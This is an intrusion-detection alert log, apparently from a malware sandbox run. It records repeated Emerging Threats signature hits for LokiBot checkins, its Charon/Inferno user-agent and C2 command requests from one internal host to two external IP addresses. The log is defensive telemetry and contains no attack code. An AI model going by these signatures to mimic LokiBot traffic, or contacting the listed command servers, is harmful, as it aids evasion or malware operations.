02/10/22-10:22:17.222000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49180	80	192.168.2.22	172.67.197.66
02/10/22-10:22:17.222000	TCP	2025381	ET TROJAN LokiBot Checkin	49180	80	192.168.2.22	172.67.197.66
02/10/22-10:22:17.222000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49180	80	192.168.2.22	172.67.197.66
02/10/22-10:22:18.584775	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49181	80	192.168.2.22	172.67.197.66
02/10/22-10:22:18.584775	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49181	80	192.168.2.22	172.67.197.66
02/10/22-10:22:18.584775	TCP	2025381	ET TROJAN LokiBot Checkin	49181	80	192.168.2.22	172.67.197.66
02/10/22-10:22:18.584775	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49181	80	192.168.2.22	172.67.197.66
02/10/22-10:22:20.304833	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49182	80	192.168.2.22	172.67.197.66
02/10/22-10:22:20.304833	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49182	80	192.168.2.22	172.67.197.66
02/10/22-10:22:20.304833	TCP	2025381	ET TROJAN LokiBot Checkin	49182	80	192.168.2.22	172.67.197.66
02/10/22-10:22:20.304833	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49182	80	192.168.2.22	172.67.197.66
02/10/22-10:22:21.371169	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49183	80	192.168.2.22	172.67.197.66
02/10/22-10:22:21.371169	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49183	80	192.168.2.22	172.67.197.66
02/10/22-10:22:21.371169	TCP	2025381	ET TROJAN LokiBot Checkin	49183	80	192.168.2.22	172.67.197.66
02/10/22-10:22:21.371169	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49183	80	192.168.2.22	172.67.197.66
02/10/22-10:22:22.490195	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49184	80	192.168.2.22	172.67.197.66
02/10/22-10:22:22.490195	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49184	80	192.168.2.22	172.67.197.66
02/10/22-10:22:22.490195	TCP	2025381	ET TROJAN LokiBot Checkin	49184	80	192.168.2.22	172.67.197.66
02/10/22-10:22:22.490195	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49184	80	192.168.2.22	172.67.197.66
02/10/22-10:22:23.504559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49185	80	192.168.2.22	104.21.49.244
02/10/22-10:22:23.504559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49185	80	192.168.2.22	104.21.49.244
02/10/22-10:22:23.504559	TCP	2025381	ET TROJAN LokiBot Checkin	49185	80	192.168.2.22	104.21.49.244
02/10/22-10:22:23.504559	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49185	80	192.168.2.22	104.21.49.244
02/10/22-10:22:24.588293	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49186	80	192.168.2.22	104.21.49.244
02/10/22-10:22:24.588293	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49186	80	192.168.2.22	104.21.49.244
02/10/22-10:22:24.588293	TCP	2025381	ET TROJAN LokiBot Checkin	49186	80	192.168.2.22	104.21.49.244
02/10/22-10:22:24.588293	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49186	80	192.168.2.22	104.21.49.244
02/10/22-10:22:25.593017	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49187	80	192.168.2.22	172.67.197.66
02/10/22-10:22:25.593017	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49187	80	192.168.2.22	172.67.197.66
02/10/22-10:22:25.593017	TCP	2025381	ET TROJAN LokiBot Checkin	49187	80	192.168.2.22	172.67.197.66
02/10/22-10:22:25.593017	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49187	80	192.168.2.22	172.67.197.66
02/10/22-10:22:26.671475	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49188	80	192.168.2.22	172.67.197.66
02/10/22-10:22:26.671475	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49188	80	192.168.2.22	172.67.197.66
02/10/22-10:22:26.671475	TCP	2025381	ET TROJAN LokiBot Checkin	49188	80	192.168.2.22	172.67.197.66
02/10/22-10:22:26.671475	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49188	80	192.168.2.22	172.67.197.66
02/10/22-10:22:27.690157	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49189	80	192.168.2.22	172.67.197.66
02/10/22-10:22:27.690157	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49189	80	192.168.2.22	172.67.197.66
02/10/22-10:22:27.690157	TCP	2025381	ET TROJAN LokiBot Checkin	49189	80	192.168.2.22	172.67.197.66
02/10/22-10:22:27.690157	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49189	80	192.168.2.22	172.67.197.66
02/10/22-10:22:29.085941	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49190	80	192.168.2.22	172.67.197.66
02/10/22-10:22:29.085941	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49190	80	192.168.2.22	172.67.197.66
02/10/22-10:22:29.085941	TCP	2025381	ET TROJAN LokiBot Checkin	49190	80	192.168.2.22	172.67.197.66
02/10/22-10:22:29.085941	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49190	80	192.168.2.22	172.67.197.66
02/10/22-10:22:30.799655	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49191	80	192.168.2.22	172.67.197.66
02/10/22-10:22:30.799655	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49191	80	192.168.2.22	172.67.197.66
02/10/22-10:22:30.799655	TCP	2025381	ET TROJAN LokiBot Checkin	49191	80	192.168.2.22	172.67.197.66
02/10/22-10:22:30.799655	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49191	80	192.168.2.22	172.67.197.66
02/10/22-10:22:31.879954	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49192	80	192.168.2.22	172.67.197.66
02/10/22-10:22:31.879954	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49192	80	192.168.2.22	172.67.197.66
02/10/22-10:22:31.879954	TCP	2025381	ET TROJAN LokiBot Checkin	49192	80	192.168.2.22	172.67.197.66
02/10/22-10:22:31.879954	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49192	80	192.168.2.22	172.67.197.66
02/10/22-10:22:32.951127	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49193	80	192.168.2.22	172.67.197.66
02/10/22-10:22:32.951127	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49193	80	192.168.2.22	172.67.197.66
02/10/22-10:22:32.951127	TCP	2025381	ET TROJAN LokiBot Checkin	49193	80	192.168.2.22	172.67.197.66
02/10/22-10:22:32.951127	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49193	80	192.168.2.22	172.67.197.66
02/10/22-10:22:34.006464	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49194	80	192.168.2.22	172.67.197.66
02/10/22-10:22:34.006464	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49194	80	192.168.2.22	172.67.197.66
02/10/22-10:22:34.006464	TCP	2025381	ET TROJAN LokiBot Checkin	49194	80	192.168.2.22	172.67.197.66
02/10/22-10:22:34.006464	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49194	80	192.168.2.22	172.67.197.66
02/10/22-10:22:35.055713	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49195	80	192.168.2.22	172.67.197.66
02/10/22-10:22:35.055713	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49195	80	192.168.2.22	172.67.197.66
02/10/22-10:22:35.055713	TCP	2025381	ET TROJAN LokiBot Checkin	49195	80	192.168.2.22	172.67.197.66
02/10/22-10:22:35.055713	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49195	80	192.168.2.22	172.67.197.66
02/10/22-10:22:36.072598	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49196	80	192.168.2.22	172.67.197.66
02/10/22-10:22:36.072598	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49196	80	192.168.2.22	172.67.197.66
02/10/22-10:22:36.072598	TCP	2025381	ET TROJAN LokiBot Checkin	49196	80	192.168.2.22	172.67.197.66
02/10/22-10:22:36.072598	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49196	80	192.168.2.22	172.67.197.66
02/10/22-10:22:37.120242	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49197	80	192.168.2.22	172.67.197.66
02/10/22-10:22:37.120242	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49197	80	192.168.2.22	172.67.197.66
02/10/22-10:22:37.120242	TCP	2025381	ET TROJAN LokiBot Checkin	49197	80	192.168.2.22	172.67.197.66
02/10/22-10:22:37.120242	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49197	80	192.168.2.22	172.67.197.66
02/10/22-10:22:38.172977	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49198	80	192.168.2.22	172.67.197.66
02/10/22-10:22:38.172977	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49198	80	192.168.2.22	172.67.197.66
02/10/22-10:22:38.172977	TCP	2025381	ET TROJAN LokiBot Checkin	49198	80	192.168.2.22	172.67.197.66
02/10/22-10:22:38.172977	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49198	80	192.168.2.22	172.67.197.66
02/10/22-10:22:39.224650	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49199	80	192.168.2.22	172.67.197.66
02/10/22-10:22:39.224650	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49199	80	192.168.2.22	172.67.197.66
02/10/22-10:22:39.224650	TCP	2025381	ET TROJAN LokiBot Checkin	49199	80	192.168.2.22	172.67.197.66
02/10/22-10:22:39.224650	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49199	80	192.168.2.22	172.67.197.66
02/10/22-10:22:40.420565	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49200	80	192.168.2.22	104.21.49.244
02/10/22-10:22:40.420565	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49200	80	192.168.2.22	104.21.49.244
02/10/22-10:22:40.420565	TCP	2025381	ET TROJAN LokiBot Checkin	49200	80	192.168.2.22	104.21.49.244
02/10/22-10:22:40.420565	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49200	80	192.168.2.22	104.21.49.244
02/10/22-10:22:41.439397	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49201	80	192.168.2.22	104.21.49.244
02/10/22-10:22:41.439397	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49201	80	192.168.2.22	104.21.49.244
02/10/22-10:22:41.439397	TCP	2025381	ET TROJAN LokiBot Checkin	49201	80	192.168.2.22	104.21.49.244
02/10/22-10:22:41.439397	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49201	80	192.168.2.22	104.21.49.244
02/10/22-10:22:42.534000	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49202	80	192.168.2.22	172.67.197.66
02/10/22-10:22:42.534000	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49202	80	192.168.2.22	172.67.197.66
02/10/22-10:22:42.534000	TCP	2025381	ET TROJAN LokiBot Checkin	49202	80	192.168.2.22	172.67.197.66
02/10/22-10:22:42.534000	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49202	80	192.168.2.22	172.67.197.66
02/10/22-10:22:43.544900	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49203	80	192.168.2.22	172.67.197.66
02/10/22-10:22:43.544900	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49203	80	192.168.2.22	172.67.197.66
02/10/22-10:22:43.544900	TCP	2025381	ET TROJAN LokiBot Checkin	49203	80	192.168.2.22	172.67.197.66
02/10/22-10:22:43.544900	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49203	80	192.168.2.22	172.67.197.66
02/10/22-10:22:44.584138	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49204	80	192.168.2.22	172.67.197.66
02/10/22-10:22:44.584138	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49204	80	192.168.2.22	172.67.197.66
02/10/22-10:22:44.584138	TCP	2025381	ET TROJAN LokiBot Checkin	49204	80	192.168.2.22	172.67.197.66
02/10/22-10:22:44.584138	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49204	80	192.168.2.22	172.67.197.66
02/10/22-10:22:45.641461	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49205	80	192.168.2.22	104.21.49.244
02/10/22-10:22:45.641461	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49205	80	192.168.2.22	104.21.49.244
02/10/22-10:22:45.641461	TCP	2025381	ET TROJAN LokiBot Checkin	49205	80	192.168.2.22	104.21.49.244
02/10/22-10:22:45.641461	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49205	80	192.168.2.22	104.21.49.244
02/10/22-10:22:46.729666	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49206	80	192.168.2.22	172.67.197.66
02/10/22-10:22:46.729666	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49206	80	192.168.2.22	172.67.197.66
02/10/22-10:22:46.729666	TCP	2025381	ET TROJAN LokiBot Checkin	49206	80	192.168.2.22	172.67.197.66
02/10/22-10:22:46.729666	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49206	80	192.168.2.22	172.67.197.66
02/10/22-10:22:47.737186	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49207	80	192.168.2.22	172.67.197.66
02/10/22-10:22:47.737186	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49207	80	192.168.2.22	172.67.197.66
02/10/22-10:22:47.737186	TCP	2025381	ET TROJAN LokiBot Checkin	49207	80	192.168.2.22	172.67.197.66
02/10/22-10:22:47.737186	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49207	80	192.168.2.22	172.67.197.66
02/10/22-10:22:48.837397	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49208	80	192.168.2.22	172.67.197.66
02/10/22-10:22:48.837397	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49208	80	192.168.2.22	172.67.197.66
02/10/22-10:22:48.837397	TCP	2025381	ET TROJAN LokiBot Checkin	49208	80	192.168.2.22	172.67.197.66
02/10/22-10:22:48.837397	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49208	80	192.168.2.22	172.67.197.66
02/10/22-10:22:49.900199	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49209	80	192.168.2.22	172.67.197.66
02/10/22-10:22:49.900199	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49209	80	192.168.2.22	172.67.197.66
02/10/22-10:22:49.900199	TCP	2025381	ET TROJAN LokiBot Checkin	49209	80	192.168.2.22	172.67.197.66
02/10/22-10:22:49.900199	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49209	80	192.168.2.22	172.67.197.66
02/10/22-10:22:51.041533	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49210	80	192.168.2.22	172.67.197.66
02/10/22-10:22:51.041533	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49210	80	192.168.2.22	172.67.197.66
02/10/22-10:22:51.041533	TCP	2025381	ET TROJAN LokiBot Checkin	49210	80	192.168.2.22	172.67.197.66
02/10/22-10:22:51.041533	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49210	80	192.168.2.22	172.67.197.66
02/10/22-10:22:52.063120	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49211	80	192.168.2.22	104.21.49.244
02/10/22-10:22:52.063120	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49211	80	192.168.2.22	104.21.49.244
02/10/22-10:22:52.063120	TCP	2025381	ET TROJAN LokiBot Checkin	49211	80	192.168.2.22	104.21.49.244
02/10/22-10:22:52.063120	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49211	80	192.168.2.22	104.21.49.244
02/10/22-10:22:53.153615	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49212	80	192.168.2.22	172.67.197.66
02/10/22-10:22:53.153615	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49212	80	192.168.2.22	172.67.197.66
02/10/22-10:22:53.153615	TCP	2025381	ET TROJAN LokiBot Checkin	49212	80	192.168.2.22	172.67.197.66
02/10/22-10:22:53.153615	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49212	80	192.168.2.22	172.67.197.66
02/10/22-10:22:54.210618	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49213	80	192.168.2.22	172.67.197.66
02/10/22-10:22:54.210618	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49213	80	192.168.2.22	172.67.197.66
02/10/22-10:22:54.210618	TCP	2025381	ET TROJAN LokiBot Checkin	49213	80	192.168.2.22	172.67.197.66
02/10/22-10:22:54.210618	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49213	80	192.168.2.22	172.67.197.66
02/10/22-10:22:55.222618	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49214	80	192.168.2.22	172.67.197.66
02/10/22-10:22:55.222618	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49214	80	192.168.2.22	172.67.197.66
02/10/22-10:22:55.222618	TCP	2025381	ET TROJAN LokiBot Checkin	49214	80	192.168.2.22	172.67.197.66
02/10/22-10:22:55.222618	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49214	80	192.168.2.22	172.67.197.66
02/10/22-10:22:56.235040	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49215	80	192.168.2.22	172.67.197.66
02/10/22-10:22:56.235040	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49215	80	192.168.2.22	172.67.197.66
02/10/22-10:22:56.235040	TCP	2025381	ET TROJAN LokiBot Checkin	49215	80	192.168.2.22	172.67.197.66
02/10/22-10:22:56.235040	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49215	80	192.168.2.22	172.67.197.66
02/10/22-10:22:57.354640	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49216	80	192.168.2.22	172.67.197.66
02/10/22-10:22:57.354640	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49216	80	192.168.2.22	172.67.197.66
02/10/22-10:22:57.354640	TCP	2025381	ET TROJAN LokiBot Checkin	49216	80	192.168.2.22	172.67.197.66
02/10/22-10:22:57.354640	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49216	80	192.168.2.22	172.67.197.66
02/10/22-10:22:58.437792	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49217	80	192.168.2.22	172.67.197.66
02/10/22-10:22:58.437792	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49217	80	192.168.2.22	172.67.197.66
02/10/22-10:22:58.437792	TCP	2025381	ET TROJAN LokiBot Checkin	49217	80	192.168.2.22	172.67.197.66
02/10/22-10:22:58.437792	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49217	80	192.168.2.22	172.67.197.66
02/10/22-10:22:59.543743	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49218	80	192.168.2.22	172.67.197.66
02/10/22-10:22:59.543743	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49218	80	192.168.2.22	172.67.197.66
02/10/22-10:22:59.543743	TCP	2025381	ET TROJAN LokiBot Checkin	49218	80	192.168.2.22	172.67.197.66
02/10/22-10:22:59.543743	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49218	80	192.168.2.22	172.67.197.66
02/10/22-10:23:00.557397	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49219	80	192.168.2.22	172.67.197.66
02/10/22-10:23:00.557397	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49219	80	192.168.2.22	172.67.197.66
02/10/22-10:23:00.557397	TCP	2025381	ET TROJAN LokiBot Checkin	49219	80	192.168.2.22	172.67.197.66
02/10/22-10:23:00.557397	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49219	80	192.168.2.22	172.67.197.66
02/10/22-10:23:01.628313	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49220	80	192.168.2.22	172.67.197.66
02/10/22-10:23:01.628313	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49220	80	192.168.2.22	172.67.197.66
02/10/22-10:23:01.628313	TCP	2025381	ET TROJAN LokiBot Checkin	49220	80	192.168.2.22	172.67.197.66
02/10/22-10:23:01.628313	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49220	80	192.168.2.22	172.67.197.66
02/10/22-10:23:02.628100	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49221	80	192.168.2.22	172.67.197.66
02/10/22-10:23:02.628100	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49221	80	192.168.2.22	172.67.197.66
02/10/22-10:23:02.628100	TCP	2025381	ET TROJAN LokiBot Checkin	49221	80	192.168.2.22	172.67.197.66
02/10/22-10:23:02.628100	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49221	80	192.168.2.22	172.67.197.66
02/10/22-10:23:03.670597	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49222	80	192.168.2.22	104.21.49.244
02/10/22-10:23:03.670597	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49222	80	192.168.2.22	104.21.49.244
02/10/22-10:23:03.670597	TCP	2025381	ET TROJAN LokiBot Checkin	49222	80	192.168.2.22	104.21.49.244
02/10/22-10:23:03.670597	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49222	80	192.168.2.22	104.21.49.244
02/10/22-10:23:04.661405	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49223	80	192.168.2.22	104.21.49.244
02/10/22-10:23:04.661405	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49223	80	192.168.2.22	104.21.49.244
02/10/22-10:23:04.661405	TCP	2025381	ET TROJAN LokiBot Checkin	49223	80	192.168.2.22	104.21.49.244
02/10/22-10:23:04.661405	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49223	80	192.168.2.22	104.21.49.244
02/10/22-10:23:05.954620	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49224	80	192.168.2.22	172.67.197.66
02/10/22-10:23:05.954620	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49224	80	192.168.2.22	172.67.197.66
02/10/22-10:23:05.954620	TCP	2025381	ET TROJAN LokiBot Checkin	49224	80	192.168.2.22	172.67.197.66
02/10/22-10:23:05.954620	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49224	80	192.168.2.22	172.67.197.66
02/10/22-10:23:08.596978	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49225	80	192.168.2.22	172.67.197.66
02/10/22-10:23:08.596978	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49225	80	192.168.2.22	172.67.197.66
02/10/22-10:23:08.596978	TCP	2025381	ET TROJAN LokiBot Checkin	49225	80	192.168.2.22	172.67.197.66
02/10/22-10:23:08.596978	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49225	80	192.168.2.22	172.67.197.66
02/10/22-10:23:09.667688	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49226	80	192.168.2.22	172.67.197.66
02/10/22-10:23:09.667688	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49226	80	192.168.2.22	172.67.197.66
02/10/22-10:23:09.667688	TCP	2025381	ET TROJAN LokiBot Checkin	49226	80	192.168.2.22	172.67.197.66
02/10/22-10:23:09.667688	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49226	80	192.168.2.22	172.67.197.66
02/10/22-10:23:10.711121	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49227	80	192.168.2.22	172.67.197.66
02/10/22-10:23:10.711121	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49227	80	192.168.2.22	172.67.197.66
02/10/22-10:23:10.711121	TCP	2025381	ET TROJAN LokiBot Checkin	49227	80	192.168.2.22	172.67.197.66
02/10/22-10:23:10.711121	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49227	80	192.168.2.22	172.67.197.66
02/10/22-10:23:11.750459	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49228	80	192.168.2.22	172.67.197.66
02/10/22-10:23:11.750459	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49228	80	192.168.2.22	172.67.197.66
02/10/22-10:23:11.750459	TCP	2025381	ET TROJAN LokiBot Checkin	49228	80	192.168.2.22	172.67.197.66
02/10/22-10:23:11.750459	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49228	80	192.168.2.22	172.67.197.66
02/10/22-10:23:12.826739	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49229	80	192.168.2.22	172.67.197.66
02/10/22-10:23:12.826739	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49229	80	192.168.2.22	172.67.197.66
02/10/22-10:23:12.826739	TCP	2025381	ET TROJAN LokiBot Checkin	49229	80	192.168.2.22	172.67.197.66
02/10/22-10:23:12.826739	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49229	80	192.168.2.22	172.67.197.66
02/10/22-10:23:13.916425	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49230	80	192.168.2.22	172.67.197.66
02/10/22-10:23:13.916425	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49230	80	192.168.2.22	172.67.197.66
02/10/22-10:23:13.916425	TCP	2025381	ET TROJAN LokiBot Checkin	49230	80	192.168.2.22	172.67.197.66
02/10/22-10:23:13.916425	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49230	80	192.168.2.22	172.67.197.66
02/10/22-10:23:14.928309	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49231	80	192.168.2.22	104.21.49.244
02/10/22-10:23:14.928309	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49231	80	192.168.2.22	104.21.49.244
02/10/22-10:23:14.928309	TCP	2025381	ET TROJAN LokiBot Checkin	49231	80	192.168.2.22	104.21.49.244
02/10/22-10:23:14.928309	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49231	80	192.168.2.22	104.21.49.244
02/10/22-10:23:16.169339	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49232	80	192.168.2.22	172.67.197.66
02/10/22-10:23:16.169339	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49232	80	192.168.2.22	172.67.197.66
02/10/22-10:23:16.169339	TCP	2025381	ET TROJAN LokiBot Checkin	49232	80	192.168.2.22	172.67.197.66
02/10/22-10:23:16.169339	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49232	80	192.168.2.22	172.67.197.66
02/10/22-10:23:17.425743	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49234	80	192.168.2.22	104.21.49.244
02/10/22-10:23:17.425743	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49234	80	192.168.2.22	104.21.49.244
02/10/22-10:23:17.425743	TCP	2025381	ET TROJAN LokiBot Checkin	49234	80	192.168.2.22	104.21.49.244
02/10/22-10:23:17.425743	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49234	80	192.168.2.22	104.21.49.244
02/10/22-10:23:18.783854	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49235	80	192.168.2.22	104.21.49.244
02/10/22-10:23:18.783854	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49235	80	192.168.2.22	104.21.49.244
02/10/22-10:23:18.783854	TCP	2025381	ET TROJAN LokiBot Checkin	49235	80	192.168.2.22	104.21.49.244
